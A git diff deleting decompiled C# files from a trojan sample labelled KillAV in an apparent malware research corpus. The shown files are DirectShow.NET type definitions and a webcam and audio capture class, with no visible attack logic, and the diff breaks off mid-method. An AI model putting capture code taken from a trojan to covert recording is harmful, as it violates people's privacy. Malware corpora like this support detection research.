b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs deleted file mode 100644 index bb33c9ba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.SeekingCapabilities -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum SeekingCapabilities - { - CanSeekAbsolute = 1, - CanSeekForwards = 2, - CanSeekBackwards = 4, - CanGetCurrentPos = 8, - CanGetStopPos = 16, // 0x00000010 - CanGetDuration = 32, // 0x00000020 - CanPlayBackwards = 64, // 0x00000040 - CanDoSegments = 128, // 0x00000080 - Source = 256, // 0x00000100 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs deleted file mode 100644 index ef6db5e9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.SeekingFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum SeekingFlags - { - NoPositioning = 0, - AbsolutePositioning = 1, - RelativePositioning = 2, - IncrementalPositioning = RelativePositioning | AbsolutePositioning, // 0x00000003 - PositioningBitsMask = IncrementalPositioning, // 0x00000003 - SeekToKeyFrame = 4, - ReturnTime = 8, - Segment = 16, // 0x00000010 - NoFlush = 32, // 0x00000020 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs deleted file mode 100644 index f2774073..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.TunerInputType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum TunerInputType - { - Cable, - Antenna, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs deleted file mode 100644 index d1665a4d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMR9AspectRatioMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMR9AspectRatioMode : uint - { - None, - LetterBox, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs deleted file mode 100644 index 349a8a41..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMRMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMRMode : uint - { - Windowed = 1, - Windowless = 2, - Renderless = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs deleted file mode 100644 index f12d9050..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMRMode9 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMRMode9 : uint - { - Windowed = 1, - Windowless = 2, - Renderless = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs deleted file mode 100644 index cb1ed277..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VfwCompressDialogs -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET -{ - public enum VfwCompressDialogs - { - Config = 1, - About = 2, - QueryConfig = 4, - QueryAbout = 8, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs deleted file mode 100644 index c31dbff2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoInfoHeader -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoInfoHeader - { - public DsRECT SrcRect; - public DsRECT TargetRect; - public int BitRate; - public int BitErrorRate; - public long AvgTimePerFrame; - public BitmapInfoHeader BmiHeader; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs deleted file mode 100644 index 98f8af6e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoInfoHeader2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoInfoHeader2 - { - public DsRECT SrcRect; - public DsRECT TargetRect; - public int BitRate; - public int BitErrorRate; - public long AvgTimePerFrame; - public int InterlaceFlags; - public int CopyProtectFlags; - public int PictAspectRatioX; - public int PictAspectRatioY; - public int ControlFlags; - public int Reserved2; - public BitmapInfoHeader BmiHeader; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs deleted file mode 100644 index a3dd9eba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoStreamConfigCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoStreamConfigCaps - { - public Guid Guid; - public AnalogVideoStandard VideoStandard; - public Size InputSize; - public Size MinCroppingSize; - public Size MaxCroppingSize; - public int CropGranularityX; - public int CropGranularityY; - public int CropAlignX; - public int CropAlignY; - public Size MinOutputSize; - public Size MaxOutputSize; - public int OutputGranularityX; - public int OutputGranularityY; - public int StretchTapsX; - public int StretchTapsY; - public int ShrinkTapsX; - public int ShrinkTapsY; - public long MinFrameInterval; - public long MaxFrameInterval; - public int MinBitsPerSecond; - public int MaxBitsPerSecond; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs deleted file mode 100644 index f8fedfb7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.WaveFormatEx -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class WaveFormatEx - { - public short wFormatTag; - public short nChannels; - public int nSamplesPerSec; - public int nAvgBytesPerSec; - public short nBlockAlign; - public short wBitsPerSample; - public short cbSize; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs deleted file mode 100644 index c28c884d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs +++ /dev/null @@ -1,71 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.AudioCapabilities -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class AudioCapabilities - { - public int MinimumChannels; - public int MaximumChannels; - public int ChannelsGranularity; - public int MinimumSampleSize; - public int MaximumSampleSize; - public int SampleSizeGranularity; - public int MinimumSamplingRate; - public int MaximumSamplingRate; - public int SamplingRateGranularity; - - internal AudioCapabilities(IAMStreamConfig audioStreamConfig) - { - if (audioStreamConfig == null) - throw new ArgumentNullException(nameof (audioStreamConfig)); - AMMediaType mediaType = (AMMediaType) null; - IntPtr num = IntPtr.Zero; - try - { - int piCount; - int piSize; - int numberOfCapabilities = audioStreamConfig.GetNumberOfCapabilities(out piCount, out piSize); - if (numberOfCapabilities != 0) - Marshal.ThrowExceptionForHR(numberOfCapabilities); - if (piCount <= 0) - throw new NotSupportedException("This audio device does not report capabilities."); - if (piSize > Marshal.SizeOf(typeof (AudioStreamConfigCaps))) - throw new NotSupportedException("Unable to retrieve audio device capabilities. This audio device requires a larger AudioStreamConfigCaps structure."); - if (piCount <= 1) - ; - num = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof (AudioStreamConfigCaps))); - IntPtr pmt; - int streamCaps = audioStreamConfig.GetStreamCaps(0, out pmt, num); - if (streamCaps != 0) - Marshal.ThrowExceptionForHR(streamCaps); - mediaType = (AMMediaType) Marshal.PtrToStructure(pmt, typeof (AMMediaType)); - AudioStreamConfigCaps structure = (AudioStreamConfigCaps) Marshal.PtrToStructure(num, typeof (AudioStreamConfigCaps)); - this.MinimumChannels = structure.MinimumChannels; - this.MaximumChannels = structure.MaximumChannels; - this.ChannelsGranularity = structure.ChannelsGranularity; - this.MinimumSampleSize = structure.MinimumBitsPerSample; - this.MaximumSampleSize = structure.MaximumBitsPerSample; - this.SampleSizeGranularity = structure.BitsPerSampleGranularity; - this.MinimumSamplingRate = structure.MinimumSampleFrequency; - this.MaximumSamplingRate = structure.MaximumSampleFrequency; - this.SamplingRateGranularity = structure.SampleFrequencyGranularity; - } - finally - { - if (num != IntPtr.Zero) - Marshal.FreeCoTaskMem(num); - IntPtr zero = IntPtr.Zero; - if (mediaType != null) - DsUtils.FreeAMMediaType(mediaType); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs deleted file mode 100644 index 8639d89d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.AudioSource -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class AudioSource : Source - { - internal IPin Pin; - - internal AudioSource(IPin pin) - { - this.Pin = pin is IAMAudioInputMixer ? pin : throw new NotSupportedException("The input pin does not support the IAMAudioInputMixer interface"); - this.name = this.getName(pin); - } - - public override bool Enabled - { - get - { - bool pfEnable; - ((IAMAudioInputMixer) this.Pin).get_Enable(out pfEnable); - return pfEnable; - } - set => ((IAMAudioInputMixer) this.Pin).put_Enable(value); - } - - private string getName(IPin pin) - { - string name = "Unknown pin"; - PinInfo pInfo = new PinInfo(); - int errorCode = pin.QueryPinInfo(out pInfo); - if (errorCode == 0) - name = pInfo.name ?? ""; - else - Marshal.ThrowExceptionForHR(errorCode); - if (pInfo.filter != null) - Marshal.ReleaseComObject((object) pInfo.filter); - pInfo.filter = (IBaseFilter) null; - return name; - } - - public override void Dispose() - { - if (this.Pin != null) - Marshal.ReleaseComObject((object) this.Pin); - this.Pin = (IPin) null; - base.Dispose(); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs deleted file mode 100644 index 5bde62f9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs +++ /dev/null @@ -1,925 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Capture -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class Capture : Form, ISampleGrabberCB - { - private const int WM_GRAPHNOTIFY = 32769; - protected DirectX.Capture.Capture.GraphState graphState = DirectX.Capture.Capture.GraphState.Null; - protected bool isPreviewRendered = false; - protected bool isCaptureRendered = false; - protected bool wantPreviewRendered = false; - protected bool wantCaptureRendered = false; - protected bool wantCaptureFrame = false; - protected int rotCookie = 0; - protected Filter videoDevice = (Filter) null; - protected Filter audioDevice = (Filter) null; - protected Filter videoCompressor = (Filter) null; - protected Filter audioCompressor = (Filter) null; - protected string filename = ""; - protected Control previewWindow = (Control) null; - protected VideoCapabilities videoCaps = (VideoCapabilities) null; - protected AudioCapabilities audioCaps = (AudioCapabilities) null; - protected SourceCollection videoSources = (SourceCollection) null; - protected SourceCollection audioSources = (SourceCollection) null; - protected PropertyPageCollection propertyPages = (PropertyPageCollection) null; - protected Tuner tuner = (Tuner) null; - protected IGraphBuilder graphBuilder; - protected IMediaControl mediaControl; - protected IVideoWindow videoWindow; - protected ICaptureGraphBuilder2 captureGraphBuilder = (ICaptureGraphBuilder2) null; - protected ISampleGrabber sampGrabber = (ISampleGrabber) null; - protected IAMStreamConfig videoStreamConfig = (IAMStreamConfig) null; - protected IAMStreamConfig audioStreamConfig = (IAMStreamConfig) null; - protected IBaseFilter videoDeviceFilter = (IBaseFilter) null; - protected IBaseFilter videoCompressorFilter = (IBaseFilter) null; - protected IBaseFilter audioDeviceFilter = (IBaseFilter) null; - protected IBaseFilter audioCompressorFilter = (IBaseFilter) null; - protected IBaseFilter muxFilter = (IBaseFilter) null; - protected IBaseFilter baseGrabFlt = (IBaseFilter) null; - protected IFileSinkFilter fileWriterFilter = (IFileSinkFilter) null; - protected VideoInfoHeader videoInfoHeader; - protected byte[] savedArray; - protected bool capturedFrame = false; - protected int bufferedSize; - protected bool captured = true; - protected bool firstFrame = true; - protected bool renderStream = false; - private IMediaEventEx mediaEvt; - public PictureBox ImageCaptured; - - public bool Capturing => this.graphState == DirectX.Capture.Capture.GraphState.Capturing; - - public bool Cued => this.isCaptureRendered && this.graphState == DirectX.Capture.Capture.GraphState.Rendered; - - public bool Stopped => this.graphState != DirectX.Capture.Capture.GraphState.Capturing; - - public string Filename - { - get => this.filename; - set - { - this.assertStopped(); - this.filename = value; - if (this.fileWriterFilter == null) - return; - AMMediaType pmt = new AMMediaType(); - int curFile = this.fileWriterFilter.GetCurFile(out string _, pmt); - if (curFile < 0) - Marshal.ThrowExceptionForHR(curFile); - if (pmt.formatSize > 0) - Marshal.FreeCoTaskMem(pmt.formatPtr); - int errorCode = this.fileWriterFilter.SetFileName(this.filename, pmt); - if (errorCode < 0) - Marshal.ThrowExceptionForHR(errorCode); - } - } - - public Control PreviewWindow - { - get => this.previewWindow; - set - { - this.assertStopped(); - this.derenderGraph(); - this.previewWindow = value; - this.wantPreviewRendered = this.previewWindow != null && this.videoDevice != null; - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public VideoCapabilities VideoCaps - { - get - { - if (this.videoCaps == null) - { - if (this.videoStreamConfig != null) - { - try - { - this.videoCaps = new VideoCapabilities(this.videoStreamConfig); - } - catch (Exception ex) - { - } - } - } - return this.videoCaps; - } - } - - public AudioCapabilities AudioCaps - { - get - { - if (this.audioCaps == null) - { - if (this.audioStreamConfig != null) - { - try - { - this.audioCaps = new AudioCapabilities(this.audioStreamConfig); - } - catch (Exception ex) - { - } - } - } - return this.audioCaps; - } - } - - public Filter VideoDevice => this.videoDevice; - - public Filter AudioDevice => this.audioDevice; - - public Filter VideoCompressor - { - get => this.videoCompressor; - set - { - this.assertStopped(); - this.destroyGraph(); - this.videoCompressor = value; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public Filter AudioCompressor - { - get => this.audioCompressor; - set - { - this.assertStopped(); - this.destroyGraph(); - this.audioCompressor = value; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public Source VideoSource - { - get => this.VideoSources.CurrentSource; - set => this.VideoSources.CurrentSource = value; - } - - public Source AudioSource - { - get => this.AudioSources.CurrentSource; - set => this.AudioSources.CurrentSource = value; - } - - public SourceCollection VideoSources - { - get - { - if (this.videoSources == null) - { - try - { - this.videoSources = this.videoDevice == null ? new SourceCollection() : new SourceCollection(this.captureGraphBuilder, this.videoDeviceFilter, true); - } - catch (Exception ex) - { - } - } - return this.videoSources; - } - } - - public SourceCollection AudioSources - { - get - { - if (this.audioSources == null) - { - try - { - this.audioSources = this.audioDevice == null ? new SourceCollection() : new SourceCollection(this.captureGraphBuilder, this.audioDeviceFilter, false); - } - catch (Exception ex) - { - } - } - return this.audioSources; - } - } - - public PropertyPageCollection PropertyPages - { - get - { - if (this.propertyPages == null) - { - try - { - this.propertyPages = new PropertyPageCollection(this.captureGraphBuilder, this.videoDeviceFilter, this.audioDeviceFilter, this.videoCompressorFilter, this.audioCompressorFilter, this.VideoSources, this.AudioSources); - } - catch (Exception ex) - { - } - } - return this.propertyPages; - } - } - - public Tuner Tuner => this.tuner; - - public double FrameRate - { - get => 10000000.0 / (double) (long) this.getStreamConfigSetting(this.videoStreamConfig, "AvgTimePerFrame"); - set => this.setStreamConfigSetting(this.videoStreamConfig, "AvgTimePerFrame", (object) (long) (10000000.0 / value)); - } - - public Size FrameSize - { - get - { - BitmapInfoHeader streamConfigSetting = (BitmapInfoHeader) this.getStreamConfigSetting(this.videoStreamConfig, "BmiHeader"); - return new Size(streamConfigSetting.Width, streamConfigSetting.Height); - } - set => this.setStreamConfigSetting(this.videoStreamConfig, "BmiHeader", (object) ((BitmapInfoHeader) this.getStreamConfigSetting(this.videoStreamConfig, "BmiHeader") with - { - Width = value.Width, - Height = value.Height - })); - } - - public short AudioChannels - { - get => (short) this.getStreamConfigSetting(this.audioStreamConfig, "nChannels"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "nChannels", (object) value); - } - - public int AudioSamplingRate - { - get => (int) this.getStreamConfigSetting(this.audioStreamConfig, "nSamplesPerSec"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "nSamplesPerSec", (object) value); - } - - public short AudioSampleSize - { - get => (short) this.getStreamConfigSetting(this.audioStreamConfig, "wBitsPerSample"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "wBitsPerSample", (object) value); - } - - public event EventHandler CaptureComplete; - - public event DirectX.Capture.Capture.FrameCapHandler FrameCaptureComplete; - - public Capture(Filter videoDevice, Filter audioDevice) - { - this.videoDevice = videoDevice; - this.audioDevice = audioDevice; - this.Filename = this.getTempFilename(); - this.ImageCaptured = new PictureBox(); - this.createGraph(); - } - - ~Capture() => this.Dispose(); - - public void Cue() - { - this.assertStopped(); - this.wantCaptureRendered = true; - this.renderGraph(); - int errorCode = this.mediaControl.Pause(); - if (errorCode == 0) - return; - Marshal.ThrowExceptionForHR(errorCode); - } - - public void Start() - { - this.Stop(); - 